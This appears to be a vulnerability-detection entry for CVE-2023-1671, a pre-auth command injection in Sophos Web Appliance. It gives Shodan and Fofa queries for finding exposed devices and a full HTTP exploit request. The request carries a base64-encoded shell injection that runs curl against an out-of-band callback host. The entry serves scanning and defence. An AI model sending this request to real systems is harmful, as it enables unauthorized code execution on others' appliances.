| Title | Sophos Web Appliance - Remote Code Execution |
|---|---|
| Author | Co5mos |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Apply the latest security patches or updates provided by Sophos to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94296 |
| CVE ID | CVE-2023-1671 |
| CWE ID | CWE-77 |
| Shodan Query | title:"Sophos Web Appliance"http.title:"sophos web appliance"http.favicon.hash:-893681401 |
| Fofa Query | title="Sophos Web Appliance"title="sophos web appliance"icon_hash=-893681401 |
| Tags | cve2023 cve packetstorm rce sophos oast kev vkev vuln |
A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.
POST /index.php?c=blocked&action=continue HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 224
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
args_reason=filetypewarn&url=38EtDzZYlL1diwMMtuCnQ2jfE9n&filetype=38EtDzZYlL1diwMMtuCnQ2jfE9n&user=38EtDzZYlL1diwMMtuCnQ2jfE9n&user_encoded=JztjdXJsIGh0dHA6Ly9kNWprZ3VobGUwbzRvZzZzZzQ2MDFjaXJ5ajRlODdjejcub2FzdC5vbmxpbmUgIw==
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1671.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-1671.pcap
N/AN/A